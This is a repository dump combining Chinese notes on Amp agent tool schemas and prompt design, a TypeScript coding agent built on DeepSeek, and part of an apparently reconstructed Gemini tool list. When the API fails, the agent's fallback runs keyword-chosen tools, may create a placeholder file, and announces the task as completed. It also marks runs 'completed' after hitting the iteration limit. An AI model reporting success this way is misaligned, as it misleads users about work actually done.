338 | "capabilities": [ 339 | "实时错误检测", 340 | "编译警告获取", 341 | "类型检查问题" 342 | ], 343 | "limitations": [ 344 | "依赖IDE环境" 345 | ] 346 | } 347 | ``` 348 | 349 | #### 🌐 网络功能工具 350 | 351 | ```json 352 | { 353 | "name": "read_web_page", 354 | "description": "读取网页内容并转换为Markdown格式", 355 | "category": "web", 356 | "parameters": { 357 | "url": { 358 | "type": "string", 359 | "required": true, 360 | "description": "要读取的网页URL" 361 | }, 362 | "max_length": { 363 | "type": "number", 364 | "required": false, 365 | "default": 5000, 366 | "description": "最大返回字符数" 367 | }, 368 | "start_index": { 369 | "type": "number", 370 | "required": false, 371 | "default": 0, 372 | "description": "起始字符索引(分页)" 373 | }, 374 | "raw": { 375 | "type": "boolean", 376 | "required": false, 377 | "default": false, 378 | "description": "是否返回原始HTML" 379 | } 380 | }, 381 | "capabilities": [ 382 | "HTML到Markdown转换", 383 | "内容分页支持", 384 | "文本提取" 385 | ], 386 | "limitations": [ 387 | "不支持JavaScript渲染内容" 388 | ] 389 | } 390 | ``` 391 | 392 | ```json 393 | { 394 | "name": "web_search", 395 | "description": "网络搜索获取实时信息", 396 | "category": "web", 397 | "parameters": { 398 | "query": { 399 | "type": "string", 400 | "required": true, 401 | "description": "搜索查询词" 402 | }, 403 | "num_results": { 404 | "type": "number", 405 | "required": false, 406 | "default": 5, 407 | "description": "返回结果数量,最大10" 408 | } 409 | }, 410 | "capabilities": [ 411 | "实时信息获取", 412 | "搜索结果摘要" 413 | ], 414 | "limitations": [ 415 | "最多返回10个结果" 416 | ] 417 | } 418 | ``` 419 | 420 | #### 🎨 可视化工具 421 | 422 | ```json 423 | { 424 | "name": "mermaid", 425 | "description": "渲染Mermaid图表,主动可视化复杂概念", 426 | "category": "visualization", 427 | "parameters": { 428 | "code": { 429 | "type": "string", 430 | "required": true, 431 | "description": "Mermaid图表代码" 432 | } 433 | }, 434 | "capabilities": [ 435 | "架构图渲染", 436 | "流程图生成", 437 | "时序图绘制" 438 | ], 439 | "limitations": [ 440 | "不支持自定义样式" 441 | ] 442 | } 443 | ``` 444 | 445 | #### 📋 任务管理工具 446 | 447 | ```json 448 | { 449 | "name": "todo_write", 450 | "description": "会话级任务管理,结构化规划和跟踪", 451 | "category": "task", 452 | "parameters": { 453 | "todos": { 454 | "type": "array", 455 | "items": { 456 | "type": "object", 457 | "properties": { 458 | "id": {"type": "string", "description": "唯一标识符"}, 459 | "content": {"type": "string", "description": "任务内容"}, 460 | "status": {"type": "string", "enum": ["todo", "in-progress", "completed"]}, 461 | "priority": {"type": "string", "enum": ["low", "medium", "high"]} 462 | }, 463 | "required": ["id", "content", "status", "priority"] 464 | }, 465 | "required": true, 466 | "description": "任务列表,替换现有任务" 467 | } 468 | }, 469 | "capabilities": [ 470 | "结构化任务规划", 471 | "进度跟踪", 472 | "优先级管理" 473 | ], 474 | "limitations": [ 475 | "仅会话级持久化" 476 | ] 477 | } 478 | ``` 479 | 480 | ```json 481 | { 482 | "name": "todo_read", 483 | "description": "读取当前会话的任务列表", 484 | "category": "task", 485 | "parameters": {}, 486 | "capabilities": [ 487 | "任务状态查看", 488 | "进度监控" 489 | ], 490 | "limitations": [ 491 | "仅会话级访问" 492 | ] 493 | } 494 | ``` 495 | 496 | #### 🤖 代理协作工具 497 | 498 | ```json 499 | { 500 | "name": "Task", 501 | "description": "子任务代理,支持复杂任务分解和并发执行", 502 | "category": "agent", 503 | "parameters": { 504 | "prompt": { 505 | "type": "string", 506 | "required": true, 507 | "description": "详细的任务描述和上下文" 508 | }, 509 | "description": { 510 | "type": "string", 511 | "required": true, 512 | "description": "任务的简短描述" 513 | } 514 | }, 515 | "capabilities": [ 516 | "多代理并发执行", 517 | "独立工具访问", 518 | "复杂任务分解" 519 | ], 520 | "limitations": [ 521 | "无法与子代理实时通信", 522 | "需要详细的上下文描述" 523 | ] 524 | } 525 | ``` 526 | 527 | ## 🎯 Amp Agent 独特设计理念 528 | 529 | ### 1. 🧠 **智能化工作流设计** 530 | 531 | #### 主动任务管理 532 | ```markdown 533 | # Amp 的任务管理模式 534 | 1. **主动规划**: 使用 todo_write 制定结构化任务清单 535 | 2. **实时跟踪**: 完成一个任务立即标记 completed 536 | 3. **分解执行**: 复杂任务自动分解为可管理的子任务 537 | 4. **并发处理**: 通过 Task 工具实现多代理协作 538 | ``` 539 | 540 | #### 智能搜索策略 541 | ```markdown 542 | # 双重搜索模式 543 | - **语义搜索**: codebase_search_agent 理解开发意图 544 | - **精确搜索**: Grep 进行关键词和模式匹配 545 | - **文件发现**: glob 快速定位相关文件 546 | ``` 547 | 548 | ### 2. 🛡️ **安全优先的执行策略** 549 | 550 | #### 渐进式验证 551 | ```markdown 552 | # Amp 的安全执行流程 553 | 1. **预分析**: 使用 read_file 了解代码结构 554 | 2. **精确编辑**: edit_file 基于精确字符串匹配 555 | 3. **即时验证**: get_diagnostics 检查编辑结果 556 | 4. **回滚保护**: undo_edit 提供安全退路 557 | ``` 558 | 559 | #### 输出控制策略 560 | ```markdown 561 | # 智能输出管理 562 | - 文件读取限制 1000 行,防止 token 溢出 563 | - Bash 输出限制 50000 字符,避免系统卡顿 564 | - 分页读取支持,处理大文件时使用 read_range 565 | ``` 566 | 567 | ### 3. 🎨 **用户体验优化** 568 | 569 | #### 主动可视化 570 | ```markdown 571 | # Amp 的可视化理念 572 | - **主动创建图表**: 无需用户要求,自动生成架构图 573 | - **流程可视化**: 复杂工作流自动绘制时序图 574 | - **关系图谱**: 组件依赖关系的可视化展示 575 | ``` 576 | 577 | #### 简洁沟通模式 578 | ```markdown 579 | # 高效沟通策略 580 | - **简洁回复**: 默认 1-3 句话回答问题 581 | - **直接响应**: 避免冗长的解释和总结 582 | - **工具透明**: 不暴露工具名称,关注结果 583 | ``` 584 | 585 | ### 4. 🔄 **并发与协作架构** 586 | 587 | #### 多代理协作模式 588 | ```markdown 589 | # Task 工具的协作理念 590 | - **任务分离**: 独立任务并发执行 591 | - **上下文隔离**: 子代理有独立的工具访问权限 592 | - **结果汇总**: 主代理统一处理子任务结果 593 | ``` 594 | 595 | ## 📋 提示词设计最佳实践 596 | 597 | ### 1. 任务管理驱动的提示词结构 598 | 599 | ```markdown 600 | # 建议的提示词框架 601 | ## 核心原则 602 | - 所有复杂任务必须使用 todo_write 进行规划 603 | - 完成单个任务立即标记为 completed 604 | - 频繁使用任务管理确保进度可见 605 | 606 | ## 工作流程 607 | 1. **接收任务** → 使用 todo_write 制定计划 608 | 2. **执行阶段** → 标记 in-progress,逐步完成 609 | 3. **验证阶段** → get_diagnostics 检查结果 610 | 4. **完成阶段** → 标记 completed,继续下一任务 611 | ``` 612 | 613 | ### 2. 智能搜索策略的提示词指导 614 | 615 | ```markdown 616 | # 搜索工具使用指导 617 | ## 语义搜索 (codebase_search_agent) 618 | - 适用场景: "如何实现用户认证"、"错误处理在哪里" 619 | - 查询方式: 使用自然语言描述功能需求 620 | - 并发执行: 同时启动多个搜索代理 621 | 622 | ## 精确搜索 (Grep) 623 | - 适用场景: 查找具体函数名、变量名、错误信息 624 | - 模式匹配: 支持正则表达式和复杂模式 625 | - 路径限制: 使用 path 参数缩小搜索范围 626 | ``` 627 | 628 | ### 3. 安全编辑的提示词规范 629 | 630 | ```markdown 631 | # 文件编辑安全规范 632 | ## 编辑前准备 633 | 1. 使用 read_file 查看文件结构 634 | 2. 理解代码上下文和依赖关系 635 | 3. 确定精确的替换字符串 636 | 637 | ## 编辑执行 638 | 1. 使用 edit_file 进行精确替换 639 | 2. old_str 必须完全匹配现有代码 640 | 3. 保持代码格式和缩进一致 641 | 642 | ## 编辑后验证 643 | 1. 立即运行 get_diagnostics 检查错误 644 | 2. 执行相关的 lint 和 typecheck 命令 645 | 3. 如有问题,使用 undo_edit 回滚 646 | ``` 647 | 648 | ### 4. 主动可视化的提示词指导 649 | 650 | ```markdown 651 | # 可视化创建指导 652 | ## 自动图表生成场景 653 | - 解释系统架构时 → 创建组件关系图 654 | - 描述工作流程时 → 绘制时序图或流程图 655 | - 分析数据流时 → 制作数据流向图 656 | 657 | ## Mermaid 图表类型选择 658 | - `graph`: 组件关系和架构图 659 | - `sequenceDiagram`: API 交互和时序流程 660 | - `flowchart`: 决策流程和算法步骤 661 | - `classDiagram`: 类层次和数据模型 662 | ``` 663 | 664 | ### 5. 并发执行的提示词策略 665 | 666 | ```markdown 667 | # 并发任务处理指导 668 | ## 适用场景 669 | - 多文件独立修改任务 670 | - 不同层级的系统更新 671 | - 独立的功能模块开发 672 | 673 | ## 实现方式 674 | - 单次调用包含多个 Task 工具 675 | - 每个子代理处理独立的工作范围 676 | - 主代理负责结果整合和用户沟通 677 | 678 | ## 注意事项 679 | - 避免同时编辑同一文件的相同部分 680 | - 确保子任务之间的依赖关系清晰 681 | - 提供详细的上下文给子代理 682 | ``` 683 | 684 | ## 🔧 工具协议设计建议 685 | 686 | ### 1. 参数设计原则 687 | 688 | ```json 689 | { 690 | "design_principles": { 691 | "简洁性": "必填参数最小化,可选参数提供默认值", 692 | "安全性": "危险操作需要多重确认和验证", 693 | "灵活性": "支持多种工作模式和使用场景", 694 | "一致性": "相似功能的工具保持参数命名一致" 695 | } 696 | } 697 | ``` 698 | 699 | ### 2. 错误处理设计 700 | 701 | ```markdown 702 | # 建议的错误处理策略 703 | ## 渐进式降级 704 | 1. 工具调用失败 → 尝试替代方案 705 | 2. 文件不存在 → 自动搜索相似文件 706 | 3. 权限不足 → 提示用户并建议解决方案 707 | 708 | ## 智能重试机制 709 | - 网络请求失败 → 自动重试 3 次 710 | - 命令执行超时 → 提供中断和继续选项 711 | - 文件锁定 → 等待后重试 712 | ``` 713 | 714 | ### 3. 上下文感知设计 715 | 716 | ```markdown 717 | # 上下文感知功能建议 718 | ## 自动环境识别 719 | - 检测项目类型 (React, Node.js, Python 等) 720 | - 识别构建工具 (webpack, vite, cargo 等) 721 | - 适配开发环境 (本地、容器、云端) 722 | 723 | ## 智能参数推断 724 | - 根据文件类型选择合适的格式化器 725 | - 基于项目结构推断测试命令 726 | - 从 package.json 自动获取脚本命令 727 | ``` 728 | 729 | ## 🚀 进阶功能开发建议 730 | 731 | ### 1. 增强现有工具 732 | 733 | ```markdown 734 | # 现有工具的增强方向 735 | ## 搜索功能增强 736 | - 支持多文件类型的混合搜索 737 | - 增加搜索结果的相关性排序 738 | - 提供搜索历史和常用模式 739 | 740 | ## 编辑功能增强 741 | - 支持多位置同时编辑 742 | - 增加编辑预览和差异对比 743 | - 提供批量重构和重命名功能 744 | 745 | ## 诊断功能增强 746 | - 支持自定义规则和检查器 747 | - 增加性能分析和优化建议 748 | - 提供代码质量评分和趋势 749 | ``` 750 | -------------------------------------------------------------------------------- /rovo-dev/src/agent/rovo-agent.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Rovo Dev Agent - 核心 AI Agent 实现 3 | * 使用 AI SDK 连接模型,MCP 工具执行任务 4 | */ 5 | 6 | import { generateText, tool } from 'ai'; 7 | import { createOpenAI } from '@ai-sdk/openai'; 8 | import { z } from 'zod'; 9 | import chalk from 'chalk'; 10 | import ora from 'ora'; 11 | import MCPToolRegistry, { MCPToolResult } from '../tools/mcp-tools.js'; 12 | 13 | // ============================================================================ 14 | // Agent 配置和类型 15 | // ============================================================================ 16 | 17 | export interface AgentConfig { 18 | apiKey: string; 19 | baseURL?: string; 20 | model?: string; 21 | maxIterations?: number; 22 | temperature?: number; 23 | } 24 | 25 | export interface ConversationMessage { 26 | role: 'user' | 'assistant' | 'system'; 27 | content: string; 28 | timestamp: Date; 29 | metadata?: Record; 30 | } 31 | 32 | export interface TaskExecution { 33 | id: string; 34 | task: string; 35 | status: 'pending' | 'running' | 'completed' | 'failed'; 36 | steps: ExecutionStep[]; 37 | result?: any; 38 | error?: string; 39 | startTime: Date; 40 | endTime?: Date; 41 | } 42 | 43 | export interface ExecutionStep { 44 | id: string; 45 | type: 'analysis' | 'tool_call' | 'reflection' | 'completion'; 46 | description: string; 47 | tool?: string; 48 | params?: any; 49 | result?: MCPToolResult; 50 | timestamp: Date; 51 | } 52 | 53 | // ============================================================================ 54 | // Rovo Dev Agent 主类 55 | // ============================================================================ 56 | 57 | export class RovoDevAgent { 58 | private openai: any; 59 | private toolRegistry: MCPToolRegistry; 60 | private config: AgentConfig; 61 | private conversationHistory: ConversationMessage[] = []; 62 | private currentExecution?: TaskExecution; 63 | 64 | constructor(config: AgentConfig) { 65 | this.config = { 66 | model: 'deepseek-chat', 67 | maxIterations: 10, 68 | temperature: 0.1, 69 | ...config 70 | }; 71 | 72 | // 初始化 OpenAI 客户端(使用 DeepSeek) 73 | this.openai = createOpenAI({ 74 | apiKey: config.apiKey, 75 | baseURL: config.baseURL || 'https://api.deepseek.com' 76 | }); 77 | 78 | this.toolRegistry = new MCPToolRegistry(); 79 | this.initializeSystemPrompt(); 80 | } 81 | 82 | private initializeSystemPrompt() { 83 | const systemPrompt = `你是 **Rovo Dev Agent**,一个智能的 AI 编程助手,专门帮助开发者完成各种软件开发任务。 84 | 85 | ## 🎯 核心能力 86 | 87 | ### 1. 代码理解与分析 88 | - **语义搜索**:理解代码意图,而非仅匹配关键词 89 | - **符号定位**:精确定位类、方法、变量等定义位置 90 | - **依赖分析**:理解代码间的依赖关系和调用链 91 | 92 | ### 2. 智能编辑与重构 93 | - **精确修改**:基于上下文的精确代码替换 94 | - **批量操作**:支持多文件、多位置的并行编辑 95 | - **安全重构**:保证代码功能不变的结构优化 96 | 97 | ### 3. 任务自动化 98 | - **复杂任务分解**:将大任务分解为可执行的小步骤 99 | - **自主执行**:在明确目标下自主完成多步骤任务 100 | - **错误恢复**:遇到问题时自动尝试修复或寻求帮助 101 | 102 | ## 🔄 工作流程 103 | 104 | ### 标准工作流程 105 | 1. **详细分析**:深入理解问题和需求 106 | 2. **制定计划**:分解任务,选择合适工具 107 | 3. **执行操作**:按计划使用工具完成任务 108 | 4. **质量检查**:验证结果,确保质量 109 | 5. **总结反馈**:提供清晰的完成总结 110 | 111 | ### 响应格式 112 | - 始终以详细的问题分析开始 113 | - 明确说明将要执行的步骤和使用的工具 114 | - 在执行过程中提供进度更新 115 | - 完成后提供全面的总结和建议 116 | 117 | ## ⚡ 工具使用原则 118 | 119 | ### 文件操作 120 | - 修改前先用 \`open_files\` 查看文件内容 121 | - 用 \`find_and_replace_code\` 进行精确修改 122 | - 重要修改前先备份 123 | 124 | ### 代码搜索 125 | - 不确定位置时优先使用 \`codebase_search\` 语义搜索 126 | - 需要全局搜索时使用 \`grep_file_content\` 127 | 128 | ### 任务执行 129 | - 简单命令直接使用 \`bash\` 工具 130 | - 修改后使用 \`get_diagnostics\` 检查错误 131 | 132 | ## 🛡️ 安全原则 133 | 134 | 1. **命令安全**:检测并阻止潜在的命令注入 135 | 2. **文件安全**:验证路径,避免意外删除重要文件 136 | 3. **权限控制**:敏感操作需要用户确认 137 | 4. **备份策略**:重要修改前自动备份 138 | 139 | ## 🎨 交互风格 140 | 141 | - **专业友好**:保持专业水准,同时友好易懂 142 | - **详细透明**:清楚说明每个步骤的目的和方法 143 | - **主动建议**:基于经验主动提供优化建议 144 | - **学习导向**:帮助用户理解和学习最佳实践 145 | 146 | 当用户提出需求时,你需要: 147 | 1. 分析需求,制定执行计划 148 | 2. 使用合适的工具执行任务 149 | 3. 根据结果调整策略,继续执行 150 | 4. 提供详细的完成总结 151 | 152 | 记住:你可以使用多个工具来完成复杂任务,每次工具调用后都要分析结果并决定下一步行动。`; 153 | 154 | this.conversationHistory.push({ 155 | role: 'system', 156 | content: systemPrompt, 157 | timestamp: new Date() 158 | }); 159 | } 160 | 161 | // ============================================================================ 162 | // 主要方法 163 | // ============================================================================ 164 | 165 | async executeTask(userInput: string): Promise { 166 | const taskId = `task_${Date.now()}`; 167 | const execution: TaskExecution = { 168 | id: taskId, 169 | task: userInput, 170 | status: 'running', 171 | steps: [], 172 | startTime: new Date() 173 | }; 174 | 175 | this.currentExecution = execution; 176 | 177 | try { 178 | console.log(chalk.blue('🤖 Rovo Dev Agent 开始执行任务...')); 179 | console.log(chalk.gray(`任务: ${userInput}`)); 180 | console.log(); 181 | 182 | // 添加用户消息到对话历史 183 | this.conversationHistory.push({ 184 | role: 'user', 185 | content: userInput, 186 | timestamp: new Date() 187 | }); 188 | 189 | let iteration = 0; 190 | let shouldContinue = true; 191 | 192 | while (shouldContinue && iteration < (this.config.maxIterations || 10)) { 193 | iteration++; 194 | 195 | console.log(chalk.yellow(`🔄 执行轮次 ${iteration}`)); 196 | 197 | try { 198 | const stepResult = await this.executeStep(execution); 199 | 200 | if (!stepResult.shouldContinue) { 201 | shouldContinue = false; 202 | } 203 | } catch (error) { 204 | // 如果是 API 错误,尝试降级到工具模式 205 | if (this.isAPIError(error)) { 206 | console.log(chalk.yellow('⚠️ API 调用失败,切换到工具模式')); 207 | await this.fallbackToToolMode(execution, userInput); 208 | shouldContinue = false; 209 | } else { 210 | throw error; 211 | } 212 | } 213 | 214 | // 避免无限循环 215 | if (iteration >= (this.config.maxIterations || 10)) { 216 | console.log(chalk.red('⚠️ 达到最大迭代次数,停止执行')); 217 | break; 218 | } 219 | } 220 | 221 | execution.status = 'completed'; 222 | execution.endTime = new Date(); 223 | 224 | console.log(chalk.green('✅ 任务执行完成')); 225 | this.printExecutionSummary(execution); 226 | 227 | } catch (error) { 228 | execution.status = 'failed'; 229 | execution.error = error instanceof Error ? error.message : String(error); 230 | execution.endTime = new Date(); 231 | 232 | console.log(chalk.red('❌ 任务执行失败:'), error); 233 | } 234 | 235 | return execution; 236 | } 237 | 238 | private async executeStep(execution: TaskExecution): Promise<{ shouldContinue: boolean }> { 239 | const spinner = ora('思考中...').start(); 240 | 241 | try { 242 | // 准备工具定义 243 | const tools = this.createAISDKTools(); 244 | 245 | // 调用 AI 模型 246 | const result = await generateText({ 247 | model: this.openai(this.config.model!), 248 | temperature: this.config.temperature, 249 | messages: this.conversationHistory.map(msg => ({ 250 | role: msg.role, 251 | content: msg.content 252 | })), 253 | tools, 254 | maxToolRoundtrips: 5, 255 | }); 256 | 257 | spinner.stop(); 258 | 259 | // 处理模型响应 260 | if (result.text) { 261 | console.log(chalk.cyan('💭 Agent 思考:')); 262 | console.log(result.text); 263 | console.log(); 264 | 265 | // 添加助手响应到对话历史 266 | this.conversationHistory.push({ 267 | role: 'assistant', 268 | content: result.text, 269 | timestamp: new Date() 270 | }); 271 | } 272 | 273 | // 处理工具调用 274 | if (result.toolCalls && result.toolCalls.length > 0) { 275 | for (const toolCall of result.toolCalls) { 276 | await this.handleToolCall(execution, toolCall); 277 | } 278 | return { shouldContinue: true }; 279 | } 280 | 281 | // 如果没有工具调用,检查是否完成 282 | const isCompleted = this.checkTaskCompletion(result.text); 283 | return { shouldContinue: !isCompleted }; 284 | 285 | } catch (error) { 286 | spinner.stop(); 287 | console.error(chalk.red('执行步骤失败:'), error); 288 | throw error; 289 | } 290 | } 291 | 292 | private async handleToolCall(execution: TaskExecution, toolCall: any) { 293 | const stepId = `step_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`; 294 | const step: ExecutionStep = { 295 | id: stepId, 296 | type: 'tool_call', 297 | description: `调用工具: ${toolCall.toolName}`, 298 | tool: toolCall.toolName, 299 | params: toolCall.args, 300 | timestamp: new Date() 301 | }; 302 | 303 | execution.steps.push(step); 304 | 305 | console.log(chalk.blue(`🔧 调用工具: ${toolCall.toolName}`)); 306 | console.log(chalk.gray(`参数: ${JSON.stringify(toolCall.args, null, 2)}`)); 307 | 308 | const spinner = ora(`执行 ${toolCall.toolName}...`).start(); 309 | 310 | try { 311 | // 执行工具 312 | const toolResult = await this.toolRegistry.executeTool(toolCall.toolName, toolCall.args); 313 | step.result = toolResult; 314 | 315 | spinner.stop(); 316 | 317 | if (toolResult.success) { 318 | console.log(chalk.green(`✅ ${toolCall.toolName} 执行成功`)); 319 | if (toolResult.data) { 320 | console.log(chalk.gray('结果:'), JSON.stringify(toolResult.data, null, 2)); 321 | } 322 | } else { 323 | console.log(chalk.red(`❌ ${toolCall.toolName} 执行失败: ${toolResult.error}`)); 324 | } 325 | 326 | // 将工具结果添加到对话历史 327 | const resultMessage = `工具 ${toolCall.toolName} 执行${toolResult.success ? '成功' : '失败'}。${ 328 | toolResult.success 329 | ? `结果: ${JSON.stringify(toolResult.data)}` 330 | : `错误: ${toolResult.error}` 331 | }`; 332 | 333 | this.conversationHistory.push({ 334 | role: 'assistant', 335 | content: resultMessage, 336 | timestamp: new Date(), 337 | metadata: { toolCall: toolCall.toolName, result: toolResult } 338 | }); 339 | 340 | } catch (error) { 341 | spinner.stop(); 342 | step.result = { 343 | success: false, 344 | error: error instanceof Error ? error.message : String(error) 345 | }; 346 | 347 | console.log(chalk.red(`❌ 工具执行异常: ${error}`)); 348 | } 349 | 350 | console.log(); 351 | } 352 | 353 | private createAISDKTools() { 354 | const tools: Record = {}; 355 | 356 | for (const mcpTool of this.toolRegistry.getAllTools()) { 357 | tools[mcpTool.name] = tool({ 358 | description: mcpTool.description, 359 | parameters: mcpTool.inputSchema, 360 | execute: async (params) => { 361 | const result = await this.toolRegistry.executeTool(mcpTool.name, params); 362 | return result; 363 | } 364 | }); 365 | } 366 | 367 | return tools; 368 | } 369 | 370 | private checkTaskCompletion(response: string): boolean { 371 | const completionIndicators = [ 372 | '任务完成', 373 | '执行完成', 374 | '已完成', 375 | '任务已完成', 376 | '✅', 377 | '完成总结', 378 | '总结如下' 379 | ]; 380 | 381 | return completionIndicators.some(indicator => 382 | response.toLowerCase().includes(indicator.toLowerCase()) 383 | ); 384 | } 385 | 386 | private printExecutionSummary(execution: TaskExecution) { 387 | console.log(chalk.blue('\n📊 执行总结')); 388 | console.log(chalk.gray('='.repeat(50))); 389 | console.log(`任务ID: ${execution.id}`); 390 | console.log(`状态: ${execution.status}`); 391 | console.log(`开始时间: ${execution.startTime.toLocaleString()}`); 392 | console.log(`结束时间: ${execution.endTime?.toLocaleString()}`); 393 | console.log(`执行步骤: ${execution.steps.length}`); 394 | 395 | if (execution.endTime) { 396 | const duration = execution.endTime.getTime() - execution.startTime.getTime(); 397 | console.log(`执行时长: ${Math.round(duration / 1000)}秒`); 398 | } 399 | 400 | console.log('\n🔧 工具使用统计:'); 401 | const toolUsage = execution.steps.reduce((acc, step) => { 402 | if (step.tool) { 403 | acc[step.tool] = (acc[step.tool] || 0) + 1; 404 | } 405 | return acc; 406 | }, {} as Record); 407 | 408 | Object.entries(toolUsage).forEach(([tool, count]) => { 409 | console.log(` ${tool}: ${count}次`); 410 | }); 411 | 412 | if (execution.error) { 413 | console.log(chalk.red(`\n❌ 错误: ${execution.error}`)); 414 | } 415 | 416 | console.log(chalk.gray('='.repeat(50))); 417 | } 418 | 419 | // ============================================================================ 420 | // 公共方法 421 | // ============================================================================ 422 | 423 | getConversationHistory(): ConversationMessage[] { 424 | return [...this.conversationHistory]; 425 | } 426 | 427 | getCurrentExecution(): TaskExecution | undefined { 428 | return this.currentExecution; 429 | } 430 | 431 | clearHistory() { 432 | this.conversationHistory = this.conversationHistory.slice(0, 1); // 保留系统提示 433 | } 434 | 435 | getAvailableTools(): string[] { 436 | return this.toolRegistry.getAllTools().map(tool => tool.name); 437 | } 438 | 439 | private isAPIError(error: any): boolean { 440 | return error && ( 441 | error.message?.includes('Authentication Fails') || 442 | error.message?.includes('API key') || 443 | error.message?.includes('invalid') || 444 | error.statusCode === 401 || 445 | error.statusCode === 403 446 | ); 447 | } 448 | 449 | private async fallbackToToolMode(execution: TaskExecution, userInput: string) { 450 | console.log(chalk.cyan('🔧 使用工具模式执行任务...')); 451 | 452 | // 基于任务内容选择合适的工具 453 | const tools = this.selectToolsForTask(userInput); 454 | 455 | for (const toolCall of tools) { 456 | await this.handleToolCall(execution, toolCall); 457 | } 458 | 459 | // 生成简单的总结 460 | console.log(chalk.cyan('📝 任务执行总结:')); 461 | console.log('已使用以下工具完成任务:'); 462 | tools.forEach(tool => { 463 | console.log(`- ${tool.toolName}: ${tool.args ? JSON.stringify(tool.args) : ''}`); 464 | }); 465 | } 466 | 467 | private selectToolsForTask(task: string): Array<{toolName: string, args: any}> { 468 | const tools = []; 469 | 470 | if (task.includes('查看') || task.includes('列出') || task.includes('显示')) { 471 | if (task.includes('目录') || task.includes('文件')) { 472 | tools.push({ 473 | toolName: 'bash', 474 | args: { command: 'ls -la' } 475 | }); 476 | } 477 | if (task.includes('package.json') || task.includes('项目')) { 478 | tools.push({ 479 | toolName: 'open_files', 480 | args: { file_paths: ['package.json'] } 481 | }); 482 | } 483 | } 484 | 485 | if (task.includes('搜索') || task.includes('查找')) { 486 | const pattern = this.extractSearchPattern(task); 487 | tools.push({ 488 | toolName: 'grep_file_content', 489 | args: { pattern, max_results: 10 } 490 | }); 491 | } 492 | 493 | if (task.includes('创建') || task.includes('新建')) { 494 | tools.push({ 495 | toolName: 'create_file', 496 | args: { 497 | file_path: 'ai-generated-file.txt', 498 | content: '# AI 生成的文件\n这是一个由 Rovo Dev Agent 创建的文件。' 499 | } 500 | }); 501 | } 502 | 503 | if (task.includes('诊断') || task.includes('检查')) { 504 | tools.push({ 505 | toolName: 'get_diagnostics', 506 | args: { file_paths: ['src/index.ts', 'package.json'] } 507 | }); 508 | } 509 | 510 | // 如果没有匹配到特定工具,使用默认组合 511 | if (tools.length === 0) { 512 | tools.push( 513 | { 514 | toolName: 'bash', 515 | args: { command: 'pwd && ls -la' } 516 | }, 517 | { 518 | toolName: 'open_files', 519 | args: { file_paths: ['package.json'] } 520 | } 521 | ); 522 | } 523 | 524 | return tools; 525 | } 526 | 527 | private extractSearchPattern(task: string): string { 528 | if (task.includes('TODO')) return 'TODO'; 529 | if (task.includes('import')) return 'import'; 530 | if (task.includes('function')) return 'function'; 531 | if (task.includes('class')) return 'class'; 532 | if (task.includes('console')) return 'console.log'; 533 | return 'export'; // 默认搜索 534 | } 535 | } 536 | 537 | export default RovoDevAgent; -------------------------------------------------------------------------------- /gemini/gemini-tools.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name": "list_directory", 4 | "description": "Lists the names of files and subdirectories directly within a specified directory path. Can optionally ignore entries matching provided glob patterns.", 5 | "parameters": { 6 | "type": "object", 7 | "properties": { 8 | "path": { 9 | "type": "string", 10 | "description": "The absolute path to the directory to list (must be absolute, not relative)" 11 | }, 12 | "ignore": { 13 | "type": "array", 14 | "items": { 15 | "type": "string" 16 | }, 17 | "description": "List of glob patterns to ignore" 18 | }, 19 | "respect_git_ignore": { 20 | "type": "boolean", 21 | "description": "Optional: Whether to respect .gitignore patterns when listing files. Only available in git repositories. Defaults to true." 22 | } 23 | }, 24 | "required": ["path"] 25 | } 26 | }, 27 | { 28 | "name": "read_file", 29 | "description": "Reads and returns the content of a specified file from the local filesystem. Handles text, images (PNG, JPG, GIF, WEBP, SVG, BMP), and PDF files. For text files, it can read specific line ranges.", 30 | "parameters": { 31 | "type": "object", 32 | "properties": { 33 | "absolute_path": { 34 | "type": "string", 35 | "description": "The absolute path to the file to read (e.g., '/home/user/project/file.txt'). Relative paths are not supported. You must provide an absolute path." 36 | }, 37 | "limit": { 38 | "type": "number", 39 | "description": "Optional: For text files, maximum number of lines to read. Use with 'offset' to paginate through large files. If omitted, reads the entire file (if feasible, up to a default limit)." 40 | }, 41 | "offset": { 42 | "type": "number", 43 | "description": "Optional: For text files, the 0-based line number to start reading from. Requires 'limit' to be set. Use for paginating through large files." 44 | } 45 | }, 46 | "required": ["absolute_path"] 47 | } 48 | }, 49 | { 50 | "name": "search_file_content", 51 | "description": "Searches for a regular expression pattern within the content of files in a specified directory (or current working directory). Can filter files by a glob pattern. Returns the lines containing matches, along with their file paths and line numbers.", 52 | "parameters": { 53 | "type": "object", 54 | "properties": { 55 | "pattern": { 56 | "type": "string", 57 | "description": "The regular expression (regex) pattern to search for within file contents (e.g., 'function\\s+myFunction', 'import\\s+\\{.*\\}\\s+from\\s+.*')." 58 | }, 59 | "include": { 60 | "type": "string", 61 | "description": "Optional: A glob pattern to filter which files are searched (e.g., '*.js', '*.{ts,tsx}', 'src/**'). If omitted, searches all files (respecting potential global ignores)." 62 | }, 63 | "path": { 64 | "type": "string", 65 | "description": "Optional: The absolute path to the directory to search within. If omitted, searches the current working directory." 66 | } 67 | }, 68 | "required": ["pattern"] 69 | } 70 | }, 71 | { 72 | "name": "glob", 73 | "description": "Efficiently finds files matching specific glob patterns (e.g., `src/**/*.ts`, `**/*.md`), returning absolute paths sorted by modification time (newest first). Ideal for quickly locating files based on their name or path structure, especially in large codebases.", 74 | "parameters": { 75 | "type": "object", 76 | "properties": { 77 | "pattern": { 78 | "type": "string", 79 | "description": "The glob pattern to match against (e.g., '**/*.py', 'docs/*.md')." 80 | }, 81 | "case_sensitive": { 82 | "type": "boolean", 83 | "description": "Optional: Whether the search should be case-sensitive. Defaults to false." 84 | }, 85 | "path": { 86 | "type": "string", 87 | "description": "Optional: The absolute path to the directory to search within. If omitted, searches the root directory." 88 | }, 89 | "respect_git_ignore": { 90 | "type": "boolean", 91 | "description": "Optional: Whether to respect .gitignore patterns when finding files. Only available in git repositories. Defaults to true." 92 | } 93 | }, 94 | "required": ["pattern"] 95 | } 96 | }, 97 | { 98 | "name": "replace", 99 | "description": "Replaces text within a file. By default, replaces a single occurrence, but can replace multiple occurrences when `expected_replacements` is specified. This tool requires providing significant context around the change to ensure precise targeting. Always use the read_file tool to examine the file's current content before attempting a text replacement.\n\n The user has the ability to modify the `new_string` content. If modified, this will be stated in the response.\n\nExpectation for required parameters:\n1. `file_path` MUST be an absolute path; otherwise an error will be thrown.\n2. `old_string` MUST be the exact literal text to replace (including all whitespace, indentation, newlines, and surrounding code etc.).\n3. `new_string` MUST be 